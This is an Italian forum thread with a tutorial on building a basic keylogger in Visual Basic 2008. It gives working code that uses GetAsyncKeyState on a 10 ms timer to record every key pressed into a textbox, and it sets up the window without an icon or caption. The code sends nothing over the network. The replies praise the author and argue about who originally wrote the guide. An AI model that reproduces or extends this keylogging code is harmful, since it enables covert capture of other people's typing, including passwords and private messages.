Creare semplice keylogger in vb 2008 [guida]

CIAO A TUTTI BENVENUTI COME GIA' DETTO DAL TITOLO ALLA MIA GUIDA
E MOLTO SEMPLICE PER CREARE UN KEYLOGGER PICCOLO SENZA WINSOCK E ROBA VARIA!
ALLORA HO CONTROLLATO PER VEDERE SE QUESTA E L'UNICA E HO VISTO CHE L'UNICA E STATA FATA IN VISUAL BASIC 6 BENE QUESTA E PER VISUAL BASIC 2008

INIZIAMO:

CREIAMO UN NUOVO PROGETTO CHIAMIAMOLO COME VOGLIAMO
MODIFICHIAMO UN PO DI PROPRIETA' :
METTERE I BORDI FIXED SINGLE, POI TOGLIERE L'ICONA FACENDO SHOW ICON "FALSE", E LA CAPTION LASCIARE VUOTO!
DOPO DI CHE INSERIRE UNA TEXTBOX METTETE SULLA PROPRIETA MULTILINE, DOPO METTETE SCROLLBARS "VERTICAL"
ORA PER INGRANDIRE LA TEXTBOX IN TUTTA LA FORM
CERCARE LA VOCE "DOCK" NELLE PROPRIETA', E METTERE LA PARTE CENTRALE INGRANDITA
POI POSIZIONARE UN TIMER
E METTERE INTERVAL "10"

ORA PASSIAMO AI CODICI:
ALL' INIZIO DELLA PAGINA DEI CODICI DI VISUAL BASIC VI E SCRITTO
"public class form1"
sotto questo mettere questo codice:
Codice:
dim result as integer

DOPO AVER SCRITTO QUESTO CODICE PREMERE INVIO DOVREBBE CREARSI UNA SPAZIATURA
METTERE QUEST'ALTRO CODICE
Codice:
Private Declare Function GetAsyncKeyState Lib "user32" (Byval vKey as long) as integer

ORA IL CODICE DELLA FORM
Codice:
timer1.start()

BENE ORA IL CODICE DEL TIMER1
Codice:
for i = 1 to 255
result = 0
result = getAsyncKeyState(i)
if result = -32767 then
textbox1.text = textbox1.text + chr(i)
end if
next i

BENE ORA ABBIAMO FINITO COL PROGETTO ORA PREMERE IL TASTO PLAY
E COLLAUDARE IL KEYLOGGER,,,
APRIRE UN FOGLIO DI LAVORO O UN BROWSER INIZIARE A SCRIVERE E VEDRETTE SUL KEYLOGGER LE PAROLE CHE AVETE DIGITATO

BENE ABBIAMO FINITO QUESTO E TUTTO,SPERO DI ESSERVI STATO UTILE SE AVETE BISOGNO DI AIUTO SCRIVERE PURE IN QUESTO TOPIC O PER PM!
CIAOOOOOOO!:ciao:

fonte: Sciax2

Grazie Jokerr!!

Bravissimo! Aumento reputazione!

Anche Io ... Complimenti ancora

Sicuro che è tua la fonte? L'ho visto in un altro forum

Credo che ci sia su sciax 2

Non è sua , sta su sciax2 forum

Modifico la fonte!